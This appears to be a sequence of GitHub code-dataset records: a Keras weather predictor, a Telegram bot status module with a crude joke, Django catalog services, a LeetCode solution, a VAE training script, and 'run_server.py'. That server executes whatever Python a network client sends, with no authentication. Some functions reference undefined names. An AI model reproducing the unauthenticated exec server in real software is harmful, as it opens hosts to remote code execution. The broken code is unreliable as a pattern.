= get_start_with(load_with)\n\n print(f\">>> Loading the {get_save_name(loading_with)}\", end=\"\\t\\t\")\n ai = tf.keras.models.load_model(get_save_path(get_save_name(loading_with)))\n print(\"Done\\n\")\n if print_summary:\n ai.summary()\n print()\n\n\ndef show_architecture_ai(ai):\n from keras.utils.vis_utils import plot_model\n\n name = str(get_save_name(0))[:-2]\n plot_model(ai, to_file=f\"{name}.png\", show_shapes=True, show_layer_names=True)\n\n\ndef create_ai(\n num_layers_conv=3,\n num_main_layers=5,\n num_neurons=32,\n batch_size=100,\n print_summary=True,\n):\n \"\"\"Создаём ИИшки\"\"\"\n global ai\n\n # Суть в том, чтобы расперелить задачи по предсказыванию между разными нейронками\n # Т.к. одна нейросеть очень плохо предскаывает одновременно все факторы\n general_input = Input(batch_input_shape=(batch_size, 1, 8))\n\n class Create_AI:\n def get_model(self):\n num_conv_neurons = 4\n model = keras.Sequential()\n model.add(general_input)\n\n # Добавляем Conv1D\n for _ in range(num_layers_conv):\n num_conv_neurons *= 2\n list_layers.append(Conv1D(num_conv_neurons, 8, padding=\"same\"))\n\n # Добавляем основные слои (чередуем Dense и LSTM)\n for i in range(num_main_layers):\n list_layers.append(\n LSTM(\n num_neurons,\n activation=\"tanh\",\n return_sequences=True,\n unroll=False,\n stateful=True,\n )\n )\n\n return keras.Sequential(list_layers)(general_input)\n\n # Создаём 5 полностью независимые нейронки\n temperature = Dense(1, activation=\"tanh\", name=\"temp\")(Architecture().get_ai())\n pressure = Dense(1, activation=\"tanh\", name=\"press\")(Architecture().get_ai())\n humidity = Dense(1, activation=\"tanh\", name=\"humid\")(Architecture().get_ai())\n cloud = Dense(1, activation=\"tanh\", name=\"cloud\")(Architecture().get_ai())\n rain = Dense(1, activation=\"tanh\", name=\"rain\")(Architecture().get_ai())\n\n ai = keras.Model(\n general_input,\n [temperature, pressure, humidity, cloud, rain],\n # temperature,\n name=\"Weather_Predictor\",\n )\n\n # mean_absolute_percentage_error\n ai.compile(\n optimizer=keras.optimizers.Adam(1e-3),\n loss=\"mean_absolute_error\",\n loss_weights={\n \"temp\": 1_000,\n \"press\": 100,\n \"humid\": 100,\n \"cloud\": 100,\n \"rain\": 100,\n },\n )\n # Отдаём приоритет температуре, и увеличиваем всем ошибки (иначе они будут ≈0)\n\n if print_summary:\n ai.summary()\n print()\n\n\n@tf.function\ndef train_step(all_times, all_data_batch, len_predict, increased_error_factor):\n \"\"\"Делаем свою функцию fit()\n (Нужна она чтобы обучать ИИшку составлять прогноз, на основе своих данных)\"\"\"\n global loss_func, optimizer\n\n times = all_times\n data_batch = all_data_batch\n\n with tf.GradientTape() as tape:\n # Составляем прогноз длиной len_predict\n ai_predicts = tf.expand_dims(tf.expand_dims(data_batch[0], axis=0), axis=0)\n\n for _ in range(len_predict):\n joind_vector = tf.concat([times[-1], ai_predicts[-1][0]], 0)\n joind_vector = tf.expand_dims(tf.expand_dims(joind_vector, axis=0), axis=0)\n\n # Записываем предсказание ИИшки на следующий час\n ai_ans = [ai(joind_vector, training=True)[i][0] for i in range(5)]\n ai_ans = tf.expand_dims(\n tf.cast(tf.reshape(ai_ans, [1, -1]), tf.float64), axis=0\n )\n ai_predicts = tf.concat([ai_predicts, ai_ans], axis=0)\n\n # Обновляем время\n time = times[-1]\n\n to_add = tf.constant([1 / 12, 1 / 15.5, 1 / 6], dtype=tf.float64)\n where_to_add = tf.cast([True, time[0] > 1, time[1] > 1], tf.float64)\n time += to_add * where_to_add\n\n # Следим, чтобы зачения не выходили за границы\n overflow = tf.cast(time > 1, tf.float64)\n not_overflow = tf.cast(time <= 1, tf.float64)\n time = time * not_overflow + overflow * tf.constant([-1], dtype=tf.float64)\n\n times = tf.concat(\n [times[1:], tf.reshape(time, [1, -1])], 0\n ) # Смещаем прогноз\n\n # ИИшка должна предсказать только будущую погоду\n real_ans = data_batch[1: len_predict + 1] * increased_error_factor\n ai_pred = ai_predicts[1: len_predict + 1] * increased_error_factor\n loss = tf.keras.losses.mean_squared_error(real_ans, ai_pred)\n\n # Состовляем градиенты\n gradients = tape.gradient(loss, ai.trainable_variables)\n\n # Изменяем веса\n (keras.optimizers.Adam(5e-4)).apply_gradients(\n zip(gradients, ai.trainable_variables)\n )\n\n return loss\n\n\ndef train_make_predict(\n batch_size=100,\n amount_batches=10,\n len_predict=24,\n start=-1,\n finish_on=99,\n increased_error_factor=100,\n):\n \"\"\"Эта функция нужна чтобы обучить ИИшку состовлять прогноз\"\"\"\n\n assert len_predict < batch_size, \"len_predict sould be < batch_size\"\n\n tf.config.run_functions_eagerly(True)\n ai.reset_states() # Очищаем данные, оставшиеся после обучения\n\n # Продолжаем с последнего сохранения если start_on == -1 (или создаём новое)\n start_with = get_start_with(start) +1\n\n # Циклы обучения\n for learning_cycle in range(start_with, finish_on):\n print(f\">>> Learning the {get_save_name(learning_cycle)}\")\n losses = []\n\n # Разделяем train_data на батчи (В посленем батче — ненужные данные)\n batchs_data = [\n train_data[i: i + batch_size]\n for i in range(0, len(train_data), batch_size)\n ][:-1]\n # Берём рандомный промежуток батчей\n rand = np.random.randint(len(batchs_data) - amount_batches)\n batchs_data = batchs_data[:-1][rand: rand + amount_batches]\n\n for b in tqdm(\n range(len(batchs_data)), desc=f\"Epoch {learning_cycle}/{finish_on}\"\n ):\n times = tf.Variable(batchs_data[b][:, 0, :3], tf.float64)\n data_batch = tf.Variable(batchs_data[b][:, 0, 3:], tf.float64)\n\n losses.append(\n train_step(times, data_batch, len_predict, increased_error_factor)\n )\n\n print(\n f\"Loss: {round(np.mean(losses), 5)} (mean); {round(np.min(losses), 5)} min\\n\"\n )\n\n # Сохраняем\n sane_ai(learning_cycle)\n\n wd.print_weather_predict(ai, 1)\n\n\ndef start_train(\n start_on=-1,\n finish_on=99, # Начинаем с номера последнего сохранения до finish_on\n epochs=3,\n batch_size=100,\n verbose=1,\n print_ai_answers=True,\n len_prints_ai_answers=100,\n print_weather_predict=True,\n len_predict_days=3,\n use_callbacks=False,\n callbacks_min_delta=10,\n callbacks_patience=3,\n save_model=True,\n):\n \"\"\"Это просто большая обёртка вокруг функции обучения\"\"\"\n global train_data, train_data_answer, ai\n\n callbacks = (\n [\n keras.callbacks.EarlyStopping(\n monitor=\"loss\",\n min_delta=callbacks_min_delta,\n patience=callbacks_patience,\n verbose=False,\n )\n ]\n if use_callbacks\n else None\n )\n\n # Продолжаем с последнего сохранения если start_on == -1 (или создаём новое)\n start_with = get_start_with(start_on) +1\n\n # Убираем немного записей, чтобы train_data можно было ровно разделить на batch_size\n train_data = train_data[: len(train_data) // batch_size * batch_size]\n train_data_answer = train_data_answer[: len(train_data) // batch_size * batch_size]\n\n # Циклы обучения\n for learning_cycle in range(start_with, finish_on):\n print(f\">>> Learning the {get_save_name(learning_cycle)}\")\n\n ai.reset_states() # Очищаем данные, оставшиеся от обучения\n\n ai.fit(\n train_data,\n train_data_answer,\n epochs=epochs,\n batch_size=batch_size,\n verbose=verbose,\n shuffle=False,\n callbacks=callbacks,\n )\n\n # Сохраняем\n if save_model:\n save_ai(learning_cycle)\n\n # Выводим данные и сравниваем\n if print_ai_answers:\n wd.print_ai_answers(ai, train_data, batch_size, len_prints_ai_answers)\n if print_weather_predict:\n wd.print_weather_predict(ai, len_predict_days, batch_size)\n\n\nif __name__ == \"__main__\":\n what_device_use(\"cpu\")\n ai_name(\"AI_v7.0\")\n load_data(\"moscow\")\n\n batch_size = 128\n\n # create_ai(0, 7, 128, batch_size)\n load_ai(print_summary=True)\n\n start_train(-1, 2, epochs=4,\n batch_size=batch_size,\n print_weather_predict=False,\n print_ai_answers=True,\n )\n","repo_name":"ZenSam7/Weather_Predictor","sub_path":"Weather_Predictor.py","file_name":"Weather_Predictor.py","file_ext":"py","file_size_in_byte":13629,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2715212628","text":"\"\"\"\r\nSTATUS: Code is working. ✅\r\n\"\"\"\r\n\r\n\"\"\"\r\nGNU General Public License v3.0\r\n\r\nCopyright (C) 2022, SOME-1HING [https://github.com/SOME-1HING]\r\n\r\nThis program is free software: you can redistribute it and/or modify\r\nit under the terms of the GNU General Public License as published by\r\nthe Free Software Foundation, either version 3 of the License, or\r\n(at your option) any later version.\r\n\r\nThis program is distributed in the hope that it will be useful,\r\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\r\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\nGNU General Public License for more details.\r\n\r\nYou should have received a copy of the GNU General Public License\r\nalong with this program. If not, see <https://www.gnu.org/licenses/>.\r\n\"\"\"\r\n\r\nimport time\r\nfrom Shikimori import ALIVE_MEDIA, UPDATE_CHANNEL, SUPPORT_CHAT, OWNER_USERNAME, dispatcher, NETWORK, NETWORK_USERNAME\r\nfrom Shikimori.modules.disable import DisableAbleCommandHandler\r\nfrom telegram import ParseMode, Update, InlineKeyboardButton, InlineKeyboardMarkup\r\nfrom telegram.ext import CallbackContext\r\n\r\nbot_name = f\"{dispatcher.bot.first_name}\"\r\n\r\nALIVE_ID = ALIVE_MEDIA.split(\".\")\r\nalive_id = ALIVE_ID[-1]\r\n\r\nStartTime = time.time()\r\n\r\ndef get_readable_time(seconds: int) -> str:\r\n count = 0\r\n ping_time = \"\"\r\n time_list = []\r\n time_suffix_list = [\"s\", \"m\", \"h\", \"days\"]\r\n\r\n while count < 4:\r\n count += 1\r\n if count < 3:\r\n remainder, result = divmod(seconds, 60)\r\n else:\r\n remainder, result = divmod(seconds, 24)\r\n if seconds == 0 and remainder == 0:\r\n break\r\n time_list.append(int(result))\r\n seconds = int(remainder)\r\n\r\n for x in range(len(time_list)):\r\n time_list[x] = str(time_list[x]) + time_suffix_list[x]\r\n if len(time_list) == 4:\r\n ping_time += time_list.pop() + \", \"\r\n\r\n time_list.reverse()\r\n ping_time += \":\".join(time_list)\r\n\r\n return ping_time\r\n\r\ndef awake(update: Update, context: CallbackContext):\r\n message = update.effective_message\r\n buttons = [\r\n [\r\n InlineKeyboardButton(\r\n text=\"Updates\",\r\n url=f\"https://t.me/{UPDATE_CHANNEL}\"),\r\n InlineKeyboardButton(\r\n text=\"Support\",\r\n url=f\"https://t.me/{SUPPORT_CHAT}\"),\r\n ],\r\n ]\r\n \r\n first_name = update.effective_user.first_name\r\n user = message.from_user\r\n uptime = get_readable_time((time.time() - StartTime))\r\n\r\n TEXT = f\"\"\"\r\n <b>Baka</b><i> ~ I am alive haven't watched hentai since</i>: <code>{uptime}</code> \r\n \"\"\"\r\n\r\n try:\r\n if alive_id in (\"jpeg\", \"jpg\", \"png\"):\r\n message.reply_photo(ALIVE_MEDIA, caption=TEXT, reply_markup=InlineKeyboardMarkup(buttons),parse_mode=ParseMode.HTML)\r\n elif alive_id in (\"mp4\", \"mkv\"):\r\n message.reply_video(ALIVE_MEDIA, caption=TEXT, reply_markup=InlineKeyboardMarkup(buttons),parse_mode=ParseMode.HTML)\r\n elif alive_id in (\"gif\", \"webp\"):\r\n message.reply_animation(ALIVE_MEDIA, caption=TEXT, reply_markup=InlineKeyboardMarkup(buttons),parse_mode=ParseMode.HTML)\r\n else:\r\n message.reply_text(TEXT, reply_markup=InlineKeyboardMarkup(buttons),parse_mode=ParseMode.HTML)\r\n\r\n except:\r\n message.reply_text(TEXT, reply_markup=InlineKeyboardMarkup(buttons),parse_mode=ParseMode.HTML)\r\n\r\nALIVE_HANDLER = DisableAbleCommandHandler(\"alive\", awake, run_async=True)\r\ndispatcher.add_handler(ALIVE_HANDLER)\r\n__command_list__ = [\"alive\"]\r\n__handlers__ = [\r\n ALIVE_HANDLER,\r\n]\r\n\r\n__mod_name__ = \"Alive ✨\"\r\n__help__ = \"\"\"\r\n*ALIVE*\r\n ❍ `/alive` :Check BOT status\r\n\"\"\"\r\n","repo_name":"EldianBots/NatsumeGBot","sub_path":"Shikimori/modules/alive.py","file_name":"alive.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"42696518463","text":"from random import sample\nfrom django.core.cache import cache\nfrom django.conf import settings\nfrom django.db.models import QuerySet, Q, Avg, Max, Count\nfrom django.http import HttpRequest\nfrom product.models import Category, Product, Banner, ProductImage\nfrom orders.models import OrderItem\n\n\ndef get_category(cache_key: str = None,\n cache_time: int = settings.CACHE_STORAGE_TIME) -> QuerySet:\n \"\"\"\n Возвращает кэшированный список активных категорий\n :param cache_key: ключ кеша\n :param cache_time: время кэширования в секундах\n :return:\n \"\"\"\n categories = Category.objects.filter(active=True)\n if cache_key is None:\n cache_key = 'categories'\n cached_data = cache.get_or_set(cache_key, categories, cache_time)\n return cached_data\n\n\ndef get_queryset_for_category(request: HttpRequest) -> QuerySet:\n \"\"\"\n Возвращает список продуктов в заданной категории товаров.\n Если категория не задана, возвращает список всех продуктов.\n :param request: HTTP request, в query-string которого содержится название категории товара\n :return: QuerySet\n \"\"\"\n category_id = request.GET.get('category', '')\n\n if category_id: # if category is passed in query-string\n queryset = Category.objects.get(id=category_id)\n cache_key = f\"category:{category_id}\"\n category = cache.get_or_set(cache_key, queryset, settings.CACHE_STORAGE_TIME)\n if not category.level: # if root category, select products of full tree category\n queryset = Product.objects. \\\n select_related('category'). \\\n prefetch_related('seller'). \\\n filter(category__tree_id=category.tree_id).all()\n else: # if child category, select products of this category\n queryset = Product.objects. \\\n select_related('category'). \\\n prefetch_related('seller'). \\\n filter(category=category_id).all()\n else: # if category isn't passed in query-string\n queryset = Product.objects. \\\n select_related('category').prefetch_related('seller').all()\n # select required fields and add average price on seller\n # queryset = queryset.values('id', 'name', 'images__image', 'category__name'). \\\n # annotate(avg_price=Avg('offers__price')).order_by('avg_price')\n return queryset\n\n\ndef apply_filter_to_catalog(request: HttpRequest, queryset: QuerySet) -> QuerySet:\n \"\"\"\n Возвращает отфильтрованный список товаров в выбранной категории товаров\n :param request: HTTP request, в query-string которого указаны параметры сортировки\n :param queryset: список товаров в выбранной категории товаров\n :return:\n \"\"\"\n # filter for price\n price = request.GET.get('price')\n if price:\n price_from, price_to = map(int, price.split(';'))\n # queryset = queryset.filter(Q(offers__price__gte=price_from) &\n # Q(offers__price__lte=price_to))\n # queryset = queryset.filter(Q(avg_price__gte=price_from) &\n # Q(avg_price__lte=price_to))\n queryset = queryset.filter(Q(offers__price__gte=price_from) &\n Q(offers__price__lte=price_to))\n\n # filter for seller\n seller = request.GET.get('seller')\n if seller:\n queryset = queryset.filter(seller__name=seller)\n\n # filter for title\n title = request.GET.get('title')\n if title:\n queryset = queryset.filter(name__icontains=title)\n\n # filter for free delivery\n delivery = request.GET.get('deliv')\n if delivery == 'on':\n pass\n\n # filter for product in stock\n stock = request.GET.get('stock')\n if stock == 'on':\n pass\n\n # queryset = queryset.values('id', 'name', 'images__image', 'category__name'). \\\n # annotate(avg_price=Avg('offers__price'))\n\n return queryset\n\n\ndef apply_sorting_to_catalog(request: HttpRequest, queryset: QuerySet) -> QuerySet:\n \"\"\"\n Возвращает отсортированный список товаров в выбранной категории товаров\n :param request: HTTP request, в query-string которого указаны параметры сортировки\n :param queryset: список товаров в выбранной категории товаров\n :return:\n \"\"\"\n # sorting on price\n sort_by = request.GET.get('sort', None)\n if sort_by == 'aprice':\n queryset = queryset.annotate(avg_price=Avg('offers__price')).order_by('avg_price')\n elif sort_by == 'dprice':\n queryset = queryset.annotate(avg_price=Avg('offers__price')).order_by('-avg_price')\n elif sort_by == 'arate':\n queryset = queryset.annotate(rating=Avg('feedback__rating')).order_by('rating')\n elif sort_by == 'drate':\n queryset = queryset.annotate(rating=Avg('feedback__rating')).order_by('-rating')\n elif sort_by == 'anew':\n queryset = queryset.annotate(date=Max('offers__added_at')).order_by('date')\n elif sort_by == 'dnew':\n queryset = queryset.annotate(date=Max('offers__added_at')).order_by('-date')\n elif sort_by == 'apop':\n queryset = queryset.annotate(count=Count('offers__order_items__offer')).order_by('count')\n elif sort_by == 'dpop':\n queryset = queryset.annotate(count=Count('offers__order_items__offer')).order_by('-count')\n\n queryset = queryset.values('id', 'name', 'images__image', 'category__name'). \\\n annotate(avg_price=Avg('offers__price'))\n\n return queryset\n\n\nclass BannersView:\n \"\"\"Тест. Отображение баннеров\"\"\"\n template_name = 'product/banners-view.html'\n\n @staticmethod\n def get_banners(qty: int = 3):\n \"\"\" Возвращает список из qty активных баннеров. \"\"\"\n banners = Banner.objects.filter(is_active=True)\n result = []\n if banners.exists():\n if 3 < qty < 1:\n qty = 3\n if banners.count() < qty:\n qty = banners.count()\n banners = list(banners)\n result = sample(banners, k=qty)\n return result\n\n def get_context_data(self, qty: int = 3, **kwargs):\n \"\"\" Добавляет в контекст список баннеров. Список кэшируется. \"\"\"\n context = super().get_context_data(**kwargs)\n # TODO заменить в ключе имя на емейл\n offers_cache_key = f'offers:{self.request.user.username}'\n # Получаем список баннеров и кэшируем его\n banner_list = self.get_banners(qty=qty)\n cached_data = cache.get_or_set(offers_cache_key, banner_list, 1 * 60)\n context['banners'] = cached_data\n return context\n\n\nclass ImageView:\n @staticmethod\n def get_image(product_id):\n context = ProductImage.objects.filter(product=product_id).all()\n return context\n","repo_name":"Sergei-V-Fedorov/django-team-project","sub_path":"product/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":7315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4415010100","text":"# Problem => https://leetcode.com/problems/minimum-window-substring/\n\nclass Solution:\n def minWindow(self, s: str, t: str) -> str:\n \"\"\"\n FRAMEWORK \n 1) problem category: string\n \n 2) brute force solution\n - generate all window substrings\n - for each window, check if the window contains all of T string chars\n - if yes => check if the length is shorter than what we have seen \n - return the window substring if we found it else an empty string\n O(N^3) => O(N^2) for generating all the substrings, O(N) check for each \n window if it contains all characters of T\n \n 3) optimized solution (idea)\n - string category can take advantage of 2 pointers to generate all \n window substrings O(N) time complexity\n - instead of the previous O(N) check to see if current window contains all\n characters in T, we can make use of HASHMAP/dictionary + variable keeping\n track of remainingChars our window still needs to achieve O(1) lookup\n \n 4) algorithm pseudocode\n - verify that S is at least length of T\n - 2 pointers: start(left) and end(right)[our for loop ptr]\n - remainingChars variable\n - hashmap of T string => (key: letter, value: frequency) (keep forgeting)\n - iterate over S string\n - check if hashmap contains char at right pointer \n - reduce 1 from hashmap \n - check if the value of the character is greater than or \n equal to 0 \n - reduce 1 from remainingChars\n - repeatedly check(while loop) if we still have a valid window AND\n is still within BOUNDS\n - bring start pointer closer to end\n - update hashmap and remainingChar \n - return the substring if we found it, else return empty string\n \"\"\"\n if len(s) < len(t):\n return \"\"\n\n start, result_window, remChars = 0, None, len(t)\n letters = {}\n # populate hashmap with letters in T\n for letter in t:\n letters[letter] = letters.get(letter, 0) + 1\n\n for end, letter in enumerate(s):\n if letter in letters:\n letters[letter] -= 1\n if letters[letter] >= 0:\n remChars -= 1\n # repeatedly check if we still have a valid window after reducing it\n while remChars == 0 and end >= start:\n # when we are inside of this while loop, that means our current\n # window (end-start+1) is valid\n if result_window is None or end-start+1 < len(result_window):\n # slice the smaller valid string\n result_window = s[start:end+1]\n \n # important to check because we only keep track of only letters \n # in T string, make sure we check s[start] and not our var \n # \"letter\" bc we keep reducing start (you always forget)\n if s[start] in letters: \n letters[s[start]] += 1\n # reduce the window and check if it is still valid\n if letters[s[start]] > 0:\n remChars += 1\n start += 1\n \n return result_window if result_window is not None else \"\"\n\n \"\"\"\n 5) Review after reading other people's code\n - the while loop on like 54 is running the checks (if statements) on line 57 & 64\n each iteration, which is unnecessary work\n - instead, we could have the while loop sole responsiblity be to find the smallest\n START pointer that still forms a valid window\n - then, we only have to check once if the current window is smaller than the one\n we have so far\n - another slight inefficiency is that my code is slicing the string for each valid\n window. this means my code is copying a new string because string in python is \n immutable. \n - a workaround could be storing the start and end pointers for the smallest window\n we have seen and when we exit the loop, we slice the substring and return it.\n this way we only copy the string once, instead of for each valid window we encountered\n - instead of manually populating a hashmap of the characters in T, we can use \n built-in python library to help us => collections.Counter(input)\n \"\"\"\n # solution from https://leetcode.com/problems/minimum-window-substring/discuss/26804/12-lines-Python/1079619\n def betterMinWindow(self, s: str, t: str) -> str:\n # hash table to store the required char frequency\n need = collections.Counter(t) \n # total character count we need to care about\n missing = len(t) \n # windowStart and windowEnd pointers for the smallest valid window we've seen\n windowStart, windowEnd = 0, 0\n # i and j are the pointers for current window we are iterating \n i = 0\n\n # iterate over s starting over index 1\n for j, char in enumerate(s, 1): \n # if char is required then decrease missing\n if need[char] > 0: \n missing -= 1\n\n # decrease the freq of char from need (may be negative - which basically denotes\n # that we have few extra characters which are not required but present within current window)\n need[char] -= 1 \n \n # we found a valid window\n if missing == 0: \n # chars from start to find the real windowStart & boundary check \n while i < j and need[s[i]] < 0: \n need[s[i]] += 1\n i += 1\n\n # if it's only one char case or curr window is smaller, then update window\n if windowEnd == 0 or j-i < windowEnd-windowStart: \n windowStart, windowEnd = i, j\n\n # now resetting the window to make it invalid\n # make sure the first appearing char satisfies need[char]>0\n need[s[i]] += 1 \n\n # missed this first char, so add missing by 1\n missing += 1 \n\n #update i to windowStart+1 for next window\n i += 1 \n\n # slice from our pointers to copy a new string (windowEnd char is exclusive?)\n return s[windowStart:windowEnd]","repo_name":"seanyap/tech-interview-prep","sub_path":"solutions/minWindowSubstring.py","file_name":"minWindowSubstring.py","file_ext":"py","file_size_in_byte":6072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17962275120","text":"import socket\nimport os\nimport sys\nfrom select import select\nfrom io import StringIO\n\n# new stuff\nfrom genkidamapy.server import Server\n\nSTREAM_UNIT_SIZE = 1024\n\nSESSION_TIMEOUT_SEC = 600\n\nHOST = \"\"\nPORT = 22222\n\n\nif __name__ == \"__main__\":\n server = Server(port=PORT)\n server.enter()\n\n\nif __name__ == \"__main__\":\n print(\"Listening on ip {ip} port {port}\".format(ip=HOST, port=PORT))\n server_connector = ServerConnector(PORT)\n\n while True:\n connection = server_connector.accept()\n \n child_pid = os.fork()\n if child_pid != 0: # PARENT\n session_socket.close()\n else: # CHILD\n server_socket.close()\n\n print(\"Starting session with client: \", session_addr)\n while True: # while the session is up\n read_ready, _, _ = select([session_socket], [], [], SESSION_TIMEOUT_SEC)\n if not read_ready:\n print(\"Session timeout of client \", session_addr)\n break\n recv_bytes = session_socket.recv(STREAM_UNIT_SIZE)\n if recv_bytes is None:\n break\n recv_str = bytes.decode(recv_bytes)\n\n sys.stdout = StringIO()\n try:\n exec(recv_bytes)\n except Exception as e:\n print(e)\n\n send_str = sys.stdout.getvalue()\n send_bytes = send_str.encode()\n session_socket.sendall(send_bytes)\n\n print(\"Session with client \", session_addr, \" over\")\n session_socket.close()\n break\n\n\n \n","repo_name":"txetxedeletxe/GenkidamaDP","sub_path":"run_server.py","file_name":"run_server.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"22662280777","text":"import os\nfrom itertools import chain\n\nimport numpy as np\nimport tensorflow as tf\nfrom matplotlib.collections import PatchCollection\nfrom matplotlib.patches import Polygon\n\nimport vae.datahandler\nimport vae.utils\nfrom vae import tf_utils\nfrom vae.utils import (extract_poly_order_from_feat_name, get_feature_stats,\n shape_feat_name_to_num_coeff)\n\nimport utils.transforms\n\ndef batch_to_feed_dict(predictor, batch, feature_statistics, config, is_training=True):\n indices = vae.datahandler.batch_indices(config)\n\n feed_dict = {}\n feed_dict[predictor.in_pos_p] = batch[indices['inPos']]\n feed_dict[predictor.out_pos_p] = batch[indices['outPos']]\n\n feed_dict[predictor.in_normal_p] = batch[indices['inNormal']]\n feed_dict[predictor.in_dir_p] = batch[indices['inDir']]\n feed_dict[predictor.out_normal_p] = batch[indices['outNormal']]\n feed_dict[predictor.out_dir_p] = batch[indices['outDir']]\n\n feed_dict[predictor.phase_p] = is_training\n\n if config.shape_features_name:\n feed_dict[predictor.shape_features_p] = batch[indices[config.shape_features_name]]\n f = config.shape_features_name\n feed_dict[predictor.shape_features_mean_p] = feature_statistics['{}_mean'.format(f)]\n feed_dict[predictor.shape_features_stdinv_p] = feature_statistics['{}_stdinv'.format(f)]\n\n g = batch[indices['g']]\n albedo = batch[indices['albedo']]\n sigma_t = batch[indices['sigmaT']]\n feed_dict[predictor.poly_scale_factor_p] = vae.utils.get_poly_scale_factor(vae.utils.kernel_epsilon(g, sigma_t, albedo))\n\n if config.use_outpos_statistics:\n feed_dict[predictor.out_pos_mean_p] = feature_statistics['outPosRel{}_mean'.format(config.prediction_space)]\n feed_dict[predictor.out_pos_stdinv_p] = feature_statistics['outPosRel{}_stdinv'.format(config.prediction_space)]\n\n\n feed_dict[predictor.azimuth_transf_p] = utils.transforms.to_azimuth_space(-batch[indices['inDir']], batch[indices['inNormal']])\n\n\n feed_dict[predictor.absorption_prob_p] = batch[indices['absorptionProb']]\n\n feed_dict[predictor.albedo_p] = batch[indices['albedo']]\n feed_dict[predictor.albedo_mean_p] = feature_statistics['albedo_mean']\n feed_dict[predictor.albedo_stdinv_p] = feature_statistics['albedo_stdinv']\n feed_dict[predictor.eff_albedo_p] = batch[indices['effAlbedo']]\n feed_dict[predictor.eff_albedo_mean_p] = feature_statistics['effAlbedo_mean']\n feed_dict[predictor.eff_albedo_stdinv_p] = feature_statistics['effAlbedo_stdinv']\n\n feed_dict[predictor.g_p] = batch[indices['g']]\n feed_dict[predictor.g_mean_p] = feature_statistics['g_mean']\n feed_dict[predictor.g_stdinv_p] = feature_statistics['g_stdinv']\n feed_dict[predictor.sigma_t_p] = batch[indices['sigmaT']]\n feed_dict[predictor.sigma_t_mean_p] = feature_statistics['sigmaT_mean']\n feed_dict[predictor.sigma_t_stdinv_p] = feature_statistics['sigmaT_mean']\n feed_dict[predictor.ior_p] = batch[indices['ior']]\n feed_dict[predictor.dropout_keep_prob_p] = config.dropout_keep_prob if is_training else 1.0\n return feed_dict\n\n\ndef compute_learningrate(learningrate, global_step, config):\n if config.use_adaptive_lr:\n init_lr = learningrate\n min_lr = init_lr / 8.0\n decay_rate = 0.8\n learningrate = tf.clip_by_value(\n tf.train.exponential_decay(init_lr, global_step, 100000,\n decay_rate, staircase=True), min_lr, 1)\n return learningrate\n\n\ndef create_optimizer(config, learningrate, loss, global_step):\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n # Ensures that we execute the update_ops before performing the train_step\n # Update steps are used for batch norm\n if config.optimizer == 'adam':\n optimizer = tf.train.AdamOptimizer(learningrate)\n elif config.optimizer == 'sgd':\n optimizer = tf.train.GradientDescentOptimizer(learningrate)\n elif config.optimizer == 'adadelta':\n optimizer = tf.train.AdadeltaOptimizer(learningrate)\n elif config.optimizer == 'adagrad':\n optimizer = tf.train.AdagradOptimizer(learningrate)\n elif config.optimizer == 'rmsprop':\n optimizer = tf.train.RMSPropOptimizer(learningrate)\n else:\n raise ValueError('Invalid optimizer {}'.format(config.optimizer))\n\n # Clip gradients\n grads_and_vars = optimizer.compute_gradients(loss, tf.trainable_variables())\n grads, vars_ = zip(*grads_and_vars)\n capped_grads, gradient_norm = tf.clip_by_global_norm(grads, clip_norm=config.clip_gradient_threshold)\n gradient_norm = tf.check_numerics(gradient_norm, \"Gradient norm is NaN or Inf.\")\n train_step = optimizer.apply_gradients(zip(capped_grads, vars_), global_step=global_step)\n return train_step\n\n\ndef train(train_data_iterator, test_data_iterator,\n learningrate, feature_statistics, logdir, config,\n restore, ncores, predictors):\n\n global_step = tf.Variable(0, name='global_step', trainable=False)\n losses = predictors[0].get_losses(global_step)\n\n for i in range(1, len(predictors)):\n other_losses = predictors[i].get_losses(global_step)\n for k in other_losses.keys():\n new_k = predictors[i].prefix + '/' + k\n losses[new_k] = other_losses[k]\n losses['loss'] += other_losses['loss'] * predictors[i].config.loss_weight\n\n # Add potential regularization losses to final loss\n losses['loss'] += tf.losses.get_regularization_loss()\n\n learningrate = compute_learningrate(learningrate, global_step, config)\n train_step = create_optimizer(config, learningrate, losses['loss'], global_step)\n\n saver = tf.train.Saver(save_relative_paths=True)\n summary_op = tf.summary.merge_all()\n\n sess_config = tf.ConfigProto(intra_op_parallelism_threads=ncores, inter_op_parallelism_threads=ncores,\n allow_soft_placement=True, device_count={'CPU': ncores})\n with tf.Session(config=sess_config) as sess:\n sess.run(tf.global_variables_initializer())\n if restore:\n vae.tf_utils.restore_model(sess, logdir)\n print(\"Model restore finished, current global step: {}\".format(global_step .eval()))\n test_summary_writer = tf.summary.FileWriter(os.path.join(logdir, 'test'), sess.graph)\n train_summary_writer = tf.summary.FileWriter(os.path.join(logdir, 'train'), sess.graph)\n save_path = saver.save(sess, os.path.join(logdir, 'model.ckpt'), global_step=global_step)\n print('Untrained model saved in file: {}'.format(save_path))\n\n while True:\n try:\n batch = sess.run(train_data_iterator)\n train_feed_dict = batch_to_feed_dict(predictors[0].ph_manager, batch, feature_statistics, config)\n train_step.run(feed_dict=train_feed_dict)\n step = sess.run(global_step)\n if step % 5000 == 0 or step == 50:\n print('Evaluating test loss...')\n test_loss_values = []\n for _ in losses:\n test_loss_values.append([])\n\n output_tensors = [losses[k] for k in losses]\n for _ in range(10):\n test_feed_dict = batch_to_feed_dict(predictors[0].ph_manager, sess.run(\n test_data_iterator), feature_statistics, config, is_training=False)\n loss_results = sess.run(output_tensors, test_feed_dict)\n for j, v in enumerate(loss_results):\n test_loss_values[j].append(v)\n for i, v in enumerate(test_loss_values):\n test_loss_values[i] = np.mean(np.concatenate([np.ravel(x) for x in v]))\n\n summary = tf.Summary()\n for i, v in enumerate(losses):\n 